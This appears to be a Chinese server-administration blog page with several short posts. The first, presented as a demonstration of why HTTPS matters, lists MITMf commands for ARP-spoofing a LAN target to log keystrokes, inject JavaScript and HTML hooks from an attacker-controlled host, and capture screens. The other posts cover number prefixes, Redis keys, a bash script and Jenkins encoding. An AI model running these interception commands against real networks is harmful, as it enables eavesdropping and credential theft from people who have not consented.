Rootop 服务器运维与web架构

2018-10-15
发表者 Venus
MITMf流量劫持命令笔记已关闭评论

MITMf流量劫持命令笔记

目的:论https重要性。
安装文档参考:
https://github.com/byt3bl33d3r/MITMf/wiki/Installation

# 图片翻转180度

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --targets 192.168.1.115 --upsidedownternet

# 记录键盘

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.115 --jskeylogger

# 注入js

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.115 --inject --js-url http://192.168.10.11:8999/hook.js

# 注入html

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.115 --inject --html-url http://192.168.10.11:8999/a.html

# 截屏

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.1.1 --screen

 

2018-10-09
发表者 Venus
进制前缀表示已关闭评论

进制前缀表示

二进制(binary):

0b(或者0B)–不区分大小写

八进制(octal):

0o(或者0O)–不区分大小写

十进制(decimal):

0d(或者0D)

十六进制(hexadecimal):

前缀:0x(数字0 + 字母x–这里的x不区分大小写):0xFFFFFFFF, 0x10110100

后缀:H:16H, EAH

2018-09-29
发表者 Venus
redis实现目录层级结构存储已关闭评论

redis实现目录层级结构存储

想实现层级目录存储key,类似/project/func/username 这种方式存储。
在redis中set key的时候把目录层级用冒号连接,如
/a/b/c/username的key值为simon

127.0.0.1:6379> set a:b:c:username simon
OK
127.0.0.1:6379> get a:b:c:username
"simon"

2018-09-25
发表者 Venus
如何取得传入shell脚本的第i个值?要求i循环到几就取第几个参数已关闭评论

如何取得传入shell脚本的第i个值?要求i循环到几就取第几个参数

百度知道的一个问题,需求是:如何取得传入shell脚本的第i个值?要求i循环到几就取第几个参数。
开始想用shell下的$$i获取第几个参数,试了一下发现不行。
有点类似php下的$$var方式获取值。

<?php
$a = 'b';
$b = 2;
$c = $$a;
echo $c;

结果为 2

后来想出用数组方式,通过for循环,然后索引减1的方式获取。shell数组索引也是从0开始。

[root@machine1 ~]# cat a.sh 
#!/bin/bash
total=$#
array=($*)
for ((i=1;i<=$total;i++));
do
    echo "传递参数位:"$i
    echo "对应值:"${array[$i-1]}
done
[root@machine1 ~]# sh a.sh a b c d e
传递参数位:1
对应值:a
传递参数位:2
对应值:b
传递参数位:3
对应值:c
传递参数位:4
对应值:d
传递参数位:5
对应值:e

这样就实现了需求。

2018-09-20
发表者 Venus
jenkins控制台输出中文显示问号已关闭评论

jenkins控制台输出中文显示问号

Started by GitLab push by ???

Commit message: “???”

原因还是因为jenkins运行在docker容器里,容器又不支持中文,需要手动安装中文支持。

参考:http://www.rootop.org/pages/4100.html